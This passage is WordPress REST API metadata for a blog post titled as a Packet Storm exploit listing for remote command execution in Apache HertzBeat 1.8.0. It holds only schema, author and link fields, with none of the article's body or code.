redgem","article_published_time":"2026-05-14T12:44:08+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=54573#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=54573"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083","datePublished":"2026-05-14T12:44:08+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=54573"},"wordCount":1936,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=54573#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=54573","url":"https:\/\/zero.redgem.net\/?p=54573","name":"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-14T12:44:08+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=54573#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=54573"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=54573#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54573","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=54573"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54573\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=54573"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=54573"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=54573"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}